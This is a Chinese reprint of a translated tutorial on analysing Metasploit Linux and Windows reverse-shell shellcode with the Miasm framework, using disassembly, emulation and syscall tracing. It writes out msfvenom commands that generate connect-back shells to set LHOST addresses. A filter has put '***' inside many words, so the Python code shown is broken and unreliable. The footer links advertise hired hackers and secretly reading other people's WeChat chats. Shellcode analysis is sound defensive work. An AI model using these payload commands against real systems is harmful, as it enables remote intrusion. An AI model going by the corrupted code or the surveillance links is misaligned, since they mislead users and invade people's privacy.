黑客信息网:如何利用Mia *** 分析Shellcode

访客4年前黑客资讯1216

  Shellcode是一种非常有趣的软件,因为它们必须在不寻常的限制条件下运行。同时,它们也非常小巧,非常适合用来学习新的工具。老实说,我想学习mia *** 的念头由来已久(自从几年前在SSTIC安全大会上看到之一次演示后,这种想法就在脑子里扎下根了),但是知道最近一段时间,我们才抽出时间将其拿下,本文就是一个简短的总结。

  让我们先从Linux平台下面的shellcode开始着手,因为它们比Windows平台下面的shellcode要简单一些。

  msfvenom -p linux/x86/exec CMD=/bin/ls -a x86 --platform linux -f raw > sc_linux1

  让我们用mia *** 对上面的shellcode进行反汇编处理:

  from mia *** . *** ysis.binary import Container

  from mia *** . *** ysis.machine import Machine

  with open("sc_linux1", "rb") as f:

  buf=f.read()

  container=Container.from_string(buf)

  machine=Machine('x86_32')

  mdis=machine.dis_engine(container.bin_stream)

  mdis.follow_call=True # Follow calls

  mdis.dontdis_retcall=True # Don't disassemble after calls

  disa *** =mdis.dis_multiblock(offset=0)

  print(disa *** )

  我们将得到以下代码:

  loc_key_0

  PUSH 0xB

  POP EAX

  CDQ

  PUSH EDX

  PUSHW 0x632D

  MOV EDI, ESP

  PUSH 0x68732F

  PUSH 0x6E69622F

  MOV EBX, ESP

  PUSH EDX

  CALL loc_key_1

  -> c_to:loc_key_1

  loc_key_1

  PUSH EDI

  PUSH EBX

  MOV ECX, ESP

  INT 0x80

  [SNIP]

  其中,INT 0x80是调用系统,而syscall代码在之一行就被移到了EAX寄存器中,0xB是execve的代码。我们可以很容易地得到CALL loc_key_1后的数据地址, *** 是取该指令地址+size与loc_key1的地址之间的数据:

  > inst=list(disa *** .blocks)[0].lines[10] # Instruction 10 of block 0

  > print(buf[inst.offset+inst.l:disa *** .loc_db.offsets[1]])

  b'/bin/ls\x00'

  接下来,让我们生成一个更复杂的shellcode:

  msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.2.2.14 LPORT=1234 -f raw > sc_linux2

  由于代码中使用了条件跳转,因此,它更适合用图形方式进行解读:

  from mia *** . *** ysis.binary import Container

  from mia *** . *** ysis.machine import Machine

  with open("sc_linux2", "rb") as f:

  buf=f.read()

  container=Container.from_string(buf)

  machine=Machine('x86_32')

  mdis=machine.dis_engine(container.bin_stream)

  mdis.follow_call=True # Follow calls

  mdis.dontdis_retcall=True # Don't disassemble after calls

  disa *** =mdis.dis_multiblock(offset=0)

  open('bin_cfg.dot', 'w').write(disa *** .dot())

  image.png

  通过静态方式理解上述代码难度较大,所以,不妨试试能否用mia *** 来模拟它。

  实际上,模拟指令是件非常简单的事情:

  from mia *** . *** ysis.machine import Machine

  from mia *** .jitter.csts import PAGE_READ, PAGE_WRITE

  myjit=Machine("x86_32").jitter("python")

  myjit.init_stack()

  data=open('sc_linux2', 'rb').read()

  run_addr=0x40000000

  myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)

  myjit.set_trace_log()

  myjit.run(run_addr)

  Mia *** 将模拟所有指令,直到我们到达之一个int 0x80调用为止:

  40000000 PUSH 0xA

  EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 00000000 EIP 40000002 zf 0 nf 0 of 0 cf 0

  40000002 POP ESI

  EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 0000000A EDI 00000000 ESP 01240000 EBP 00000000 EIP 40000003 zf 0 nf 0 of 0 cf 0

  [SNIP]

  40000010 INT 0x80

  EAX 00000066 EBX 00000001 ECX 0123FFF4 EDX 00000000 ESI 0000000A EDI 00000000 ESP 0123FFF4 EBP 00000000 EIP 40000012 zf 0 nf 0 of 0 cf 0

  Traceback (most recent call last):

  File "linux1.py", line 11, in

  myjit.run(run_addr)

  File "/home/user/tools/malware/mia *** /mia *** /jitter/jitload.py", line 423, in run

  return self.continue_run()

  File "/home/user/tools/malware/mia *** /mia *** /jitter/jitload.py", line 405, in continue_run

  return next(self.run_iterator)

  File "/home/user/tools/malware/mia *** /mia *** /jitter/jitload.py", line 373, in runiter_once

  assert(self.get_exception()==0)

  AssertionError

  默认情况下,mia *** 机器不会执行系统调用,但是可以为异常EXCEPT_INT_XX(对于Linux x86_64而言为EXCEPT_SYSCALL)添加一个异常处理程序并自己实现它。让我们先显示一下syscall编号:

  from mia *** .jitter.csts import PAGE_READ, PAGE_WRITE, EXCEPT_INT_XX

  from mia *** . *** ysis.machine import Machine

  def exception_int(jitter):

  print("Syscall: {}".format(jitter.cpu.EAX))

  return True

  myjit=Machine("x86_32").jitter("python")

  myjit.init_stack()

  data=open('sc_linux2', 'rb').read()

  run_addr=0x40000000

  myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)

  myjit.add_exception_handler(EXCEPT_INT_XX, exception_int)

  myjit.run(run_addr)

  输出的syscall为:

  Syscall: 102

  Syscall: 102

  刚开始的时候,我曾经自己重新实现过shellcode经常使用的几个syscall,后来才发现mia *** 本身已经集成了许多syscall的实现和一种让虚拟机执行它们的 *** 。

  我已经提交了几个额外的系统调用的PR,这样我们可以模拟shellcode了:

  myjit=Machine("x86_32").jitter("python")

  myjit.init_stack()

  data=open("sc_linux2", 'rb').read()

  run_addr=0x40000000

  myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)

  log=logging.getLogger('syscalls')

  log.setLevel(logging.DEBUG)

  env=environment.LinuxEnvironment_x86_32()

  syscall.enable_syscall_handling(myjit, env, syscall.syscall_callbacks_x86_32)

  myjit.run(run_addr)

  并得到以下系统调用跟踪结果:

  [DEBUG ]: socket(AF_INET, SOCK_STREAM, 0)

  [DEBUG ]: -> 3

  [DEBUG ]: connect(fd, [AF_INET, 1234, 10.2.2.14], 102)

  [DEBUG ]: -> 0

  [DEBUG ]: sys_mprotect(123f000, 1000, 7)

  [DEBUG ]: -> 0

  [DEBUG ]: sys_read(3, 123ffe4, 24)

  所以,用mia *** 分析linux的shellcode是非常容易的一件事情,同时,您还可以用这个脚本。

  因为在Windows上无法使用系统调用相关的指令,所以Windows的shellcodes需要借助于共享库中的函数,这就需要用LoadLibrary和GetProcAddress函数来进行加载,为此,就需要先在内存中的kernel32.dll DLL文件中找到这两个函数地址。

  下面,让我们用metasploit生成之一个shellcode:

  msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=443 -f raw > sc_windows1

  我们可以用前面介绍的代码生成一个调用图:

  image.png

  在这里,我们看到了大多数shellcode用来获取自己地址的技巧之一,CALL指令会将堆栈中下一条指令的地址压入堆栈中,然后用POP指令将其存储到EBP寄存器中。这样,最后一条指令CALL EBP,将会调用在之一个调用指令之后的指令。同时,由于这里只使用了静态分析,所以mia *** 并不知道哪个地址位于EBP寄存器中。

  我们仍然可以通过手动方式来反汇编位于之一个调用指令后面的代码:

  inst=inst=list(disa *** .blocks)[0].lines[1] # We get the second line of the first block

  next_addr=inst.offset + inst.l # offset + size of the instruction

  disa *** =mdis.dis_multiblock(offset=next_addr)

  open('bin_cfg.dot', 'w').write(disa *** .dot())

  image.png

  这里我们看到,shellcode首先是通过跟踪内存中的PEB、PEB_LDR_DATA和LDR_DATA_TABLE_ENTRY结构体来寻找kernel32的地址的。下面,让我们来模拟一下:

  from mia *** .jitter.csts import PAGE_READ, PAGE_WRITE

  from mia *** . *** ysis.machine import Machine

  def code_sentinelle(jitter):

  jitter.run=False

  jitter.pc=0

  return True

  myjit=Machine("x86_32").jitter("python")

  myjit.init_stack()

  data=open("sc_windows1", 'rb').read()

  run_addr=0x40000000

  myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)

  myjit.set_trace_log()

  myjit.push_uint32_t(0x1337beef)

  myjit.add_breakpoint(0x1337beef, code_sentinelle)

  myjit.run(run_addr)

  40000000 CLD

  EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 00000000 EIP 40000001 zf 0 nf 0 of 0 cf 0

  40000001 CALL loc_40000088

  EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFF8 EBP 00000000 EIP 40000088 zf 0 nf 0 of 0 cf 0

  40000088 POP EBP

  EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 40000006 EIP 40000089 zf 0 nf 0 of 0 cf 0

  40000089 PUSH 0x3233

  EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFF8 EBP 40000006 EIP 4000008E zf 0 nf 0 of 0 cf 0

  [SNIP]

  4000000B MOV EDX, DWORD PTR FS:[EAX + 0x30]

  WARNING: address 0x30 is not mapped in virtual memory:

  Traceback (most recent call last):

  [SNIP]

  RuntimeError: Cannot find address

  模拟过程一直正常,直到到达MOV EDX,DWORD PTR FS:[EAX + 0x30]指令为止,这条指令用于从内存中的FS段获取TEB结构体的地址。但在这种情况下,mia *** 只是在模拟代码,并没有加载内存中的任何系统段。为此,我们需要使用完整的Windows沙箱来运行mia *** ,但是这些虚拟机只是运行PE文件,所以我们首先需要借助于一个简短的脚本,通过lief将shellcode转换为一个完整的PE文件:

  from lief import PE

  with open("sc_windows1", "rb") as f:

  data=f.read()

  binary32=PE.Binary("pe_from_scratch", PE.PE_TYPE.PE32)

  section_text =PE.Section(".text")

  section_text.content =[c for c in data] # Take a list(int)

  section_text.virtual_address=0x1000

  section_text=binary32.add_section(section_text, PE.SECTION_TYPES.TEXT)

  binary32.optional_header.addressof_entrypoint=section_text.virtual_address

  builder=PE.Builder(binary32)

  builder.build_imports(True)

  builder.build()

  builder.write("sc_windows1.exe")

  现在,让我们用mia *** 沙箱来运行这个PE,并通过use-windows-structs选项将Windows结构体加载到内存中(完整的代码可以从这里下载):

  from mia *** . *** ysis.sandbox import Sandbox_Win_x86_32

  class Options():

  def __init__(self):

  self.use_windows_structs=True

  self.jitter="gcc"

  #self.singlestep=True

  self.usesegm=True

  self.load_hdr=True

  self.loadbasedll=True

  def __getattr__(self, name):

  return None

  options=Options()

  # Create sandbox

   *** =Sandbox_Win_x86_32("sc_windows1.exe", options, globals())

   *** .run()

  assert( *** .jitter.run is False)

  选项loadbasedll的作用,就是根据名为win_dll的文件夹中现有的dll,向内存中加载相应的DLL结构(比如所需的Windows x86_32 DLL)。在执行时,将引发崩溃:

  [SNIP]

  [INFO ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b

  [WARNING ]: warning adding .dll to modulename

  [WARNING ]: ws2_32.dll

  Traceback (most recent call last):

  File "windows4.py", line 18, in

   *** .run()

  [SNIP]

  File "/home/user/tools/malware/mia *** /mia *** /jitter/jitload.py", line 479, in handle_lib

  raise ValueError('unknown api', hex(jitter.pc), repr(fname))

  ValueError: ('unknown api', '0x71ab6a55', "'ws2_32_WSAStartup'")

  如果我们查看文件jitload.py,就会发现它实际上调用了在win_api_x86_32.py中实现的DLL函数,并且其中确实实现了kernel32_LoadLibrary,但是并没有实现WSAStartup函数,因此,我们需要自己动手实现该函数。

  Mia *** 实际上使用了一种非常聪明的技巧来简化新库的实现:沙箱可以接受一个表示其他函数的参数,并且在默认情况下,Mia *** 会使用globals()来调用这些函数。这就意味着,我们只需要在代码中定义一个具有正确名称的函数,它就可以直接用作系统函数。为此,让我们尝试使用ws2_32_WSAStartup函数:

  def ws2_32_WSAStartup(jitter):

  print("WSAStartup(wVersionRequired, lpWSAData)")

  ret_ad, args=jitter.func_args_stdcall(["wVersionRequired", "lpWSAData"])

  jitter.func_ret_stdcall(ret_ad, 0)

  现在,我们得到如下所示的输出:

  INFO ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b

  [WARNING ]: warning adding .dll to modulename

  [WARNING ]: ws2_32.dll

  WSAStartup(wVersionRequired, lpWSAData)

  Traceback (most recent call last):

  [SNIP]

  File "/home/user/tools/malware/mia *** /mia *** /jitter/jitload.py", line 479, in handle_lib

  raise ValueError('unknown api', hex(jitter.pc), repr(fname))

  ValueError: ('unknown api', '0x71ab8b6a', "'ws2_32_WSASocketA'")

  我们可以沿用这种方式,来逐一实现shellcode调用的几个函数:

  def ws2_32_WSASocketA(jitter):

  """

  SOCKET WSAAPI WSASocketA(

  int af,

  int type,

  int protocol,

  LPWSAPROTOCOL_INFOA lpProtocolInfo,

  GROUP g,

  DWORD dwFlags

  );

  """

  ADDRESS_FAM={2: "AF_INET", 23: "AF_INET6"}

  TYPES={1: "SOCK_STREAM", 2: "SOCK_DGRAM"}

  PROTOCOLS={0: "Whatever", 6: "TCP", 17: "UDP"}

  ret_ad, args=jitter.func_args_stdcall(["af", "type", "protocol", "lpProtocolInfo", "g", "dwFlags"])

  print("WSASocketA({}, {}, {}, ...)".format(

  ADDRESS_FAM[args.af],

  TYPES[args.type],

  PROTOCOLS[args.protocol]

  ))

  jitter.func_ret_stdcall(ret_ad, 14)

  def ws2_32_connect(jitter):

  ret_ad, args=jitter.func_args_stdcall(["s", "name", "namelen"])

  sockaddr=jitter.vm.get_mem(args.name, args.namelen)

  family=struct.unpack("H", sockaddr[0:2])[0]

  if family==2:

  port=struct.unpack(">H", sockaddr[2:4])[0]

  ip=".".join([str(i) for i in struct.unpack("BBBB", sockaddr[4:8])])

  print("socket_connect(fd, [{}, {}, {}], {})".format("AF_INET", port, ip, args.namelen))

  else:

  print("connect()")

  jitter.func_ret_stdcall(ret_ad, 0)

  def kernel32_CreateProcessA(jitter):

  ret_ad, args=jitter.func_args_stdcall(["lpApplicationName", "lpCommandLine", "lpProcessAttributes", "lpThreadAttributes", "bInheritHandles", "dwCreationFlags", "lpEnvironment", "lpCurrentDirectory", "lpStartupInfo", "lpProcessInformation"])

  jitter.func_ret_stdcall(ret_ad, 0)

  def kernel32_ExitProcess(jitter):

  ret_ad, args=jitter.func_args_stdcall(["uExitCode"])

  jitter.func_ret_stdcall(ret_ad, 0)

  jitter.run=False

  最后,我们就可以完美地仿真shellcode了:

  [INFO ]: Add module 400000 'sc_windows1.exe'

  [INFO ]: Add module 7c900000 'ntdll.dll'

  [INFO ]: Add module 7c800000 'kernel32.dll'

  [INFO ]: Add module 7e410000 'use***.dll'

  [INFO ]: Add module 774e0000 'ole32.dll'

  [INFO ]: Add module 7e1e0000 'urlmon.dll'

  [INFO ]: Add module 71ab0000 'ws2_32.dll'

  [INFO ]: Add module 77dd0000 'advapi32.dll'

  [INFO ]: Add module 76bf0000 'psapi.dll'

  [INFO ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b

  [WARNING ]: warning adding .dll to modulename

  [WARNING ]: ws2_32.dll

  WSAStartup(wVersionRequired, lpWSAData)

  [INFO ]: ws2_32_WSAStartup(wVersionRequired=0x190, lpWSAData=0x13fe58) ret addr: 0x4010ab

  [INFO ]: ws2_32_WSASocketA(af=0x2, type=0x1, protocol=0x0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) ret addr: 0x4010ba

  WSASocketA(AF_INET, SOCK_STREAM, Whatever, ...)

  [INFO ]: ws2_32_connect(s=0xe, name=0x13fe4c, namelen=0x10) ret addr: 0x4010d4

  socket_connect(fd, [AF_INET, 443, 192.168.56.1], 16)

  [INFO ]: kernel32_CreateProcessA(lpApplicationName=0x0, lpCommandLine=0x13fe48, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0x1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x13fe04, lpProcessInformation=0x13fdf4) ret addr: 0x401117

  [INFO ]: kernel32_WaitForSingleObject(handle=0x0, dwms=0xffffffff) ret addr: 0x401125

  [INFO ]: kernel32_GetVersion() ret addr: 0x401131

  [INFO ]: kernel32_ExitProcess(uExitCode=0x0) ret addr: 0x401144

  实际上,学习mia *** 的确是一件非常有趣的事情。我发现,mia *** 非常强大(我甚至还没有探索过符号执行功能)。当然,它并不是我们唯一可用的工具(例如triton也在做同样的事情),但我发现mia *** 不仅写得很好,功能也更加丰富。不过,它唯一的缺点就是目前还缺乏相关的说明文档。如果您想开始学习mia *** ,不妨参阅这里的示例和相关文章,它们是很好的起点。Willi Ballenthin最近也写了几篇博文,我觉得也很有帮助。最后,当您学有心得之后,那不妨也为丰富mia *** 资料贡献自己一份力量吧!

  原文地址:

相关文章

查开的房记录·选择好评问答_如何黑进别人的微信

伴随着it行业对技术性专利权的高度重视水平愈来愈高,生产商们中间的磨擦也愈来愈经常。 10月26日信息,据新智米报导,北京市专利权人民法院前不久收到了搜狗公司提到的8项专利侵权诉请,诉称百度搜索集团旗...

哪里可以找到黑客接单(实力的黑客)_黑客接单

黑客听起来是距离我们很远的,我们一般是接触不到的,就算他们攻击一些网站也不会轮到我们的,那在哪里可以找到他们呢?下面先看一个小故事。 哪里可以找到黑客接单? 17岁少年受雇佣编写黑客软件杨琛刚满2...

问道怎么升级快(快速升级攻略)

问道怎么升级快(快速升级攻略)

《问道》宠物是各位道友行走江湖必不可少的伙伴,重要程度不必赘言,有时候一个强大的宝宝甚至可以扭转战局。当你费尽九牛二虎之力得到了一个厉害的宝宝时,接下来面临的最大问题就是宠物的升级问题了,今天就来教大...

想成为顶级黑客要学多久(顶级黑客一般都学几年)

想成为顶级黑客要学多久(顶级黑客一般都学几年)

本文导读目录: 1、怎样才能当黑客,天才 2、顶尖的电脑黑客需要哪些方面的才能? 3、做一名顶级“网络安全”专家,从什么“学”起?需要多长时间? 4、从零开始学电脑成为高手的话要多久?那种...

专家教你怎么查老公和别人的微信聊天记录?怎

11月27日,爱奇艺多说话人多风格音色克隆大赛(M2VoC)发布详细参赛指引。本届大赛由爱奇艺专家团队组织举办,旨在提供一个通用的数据集与一个公平的测试平台,对语音克隆任务进行研究。作为世界上第一个小...

哪种植物也是“吃肉”的 蚂蚁庄园5月14号答案

哪种植物也是“吃肉”的 蚂蚁庄园5月14号答案

5月14号的蚂蚁庄园每日一题来了,今天的这道题目与植物有关,那么各位小伙伴知道哪一种植物也是“吃肉”的吗?赶快跟随这小编一起来看一看吧,一定又能学到很多知识哦。 5月14日每日一答: 小鸡宝宝...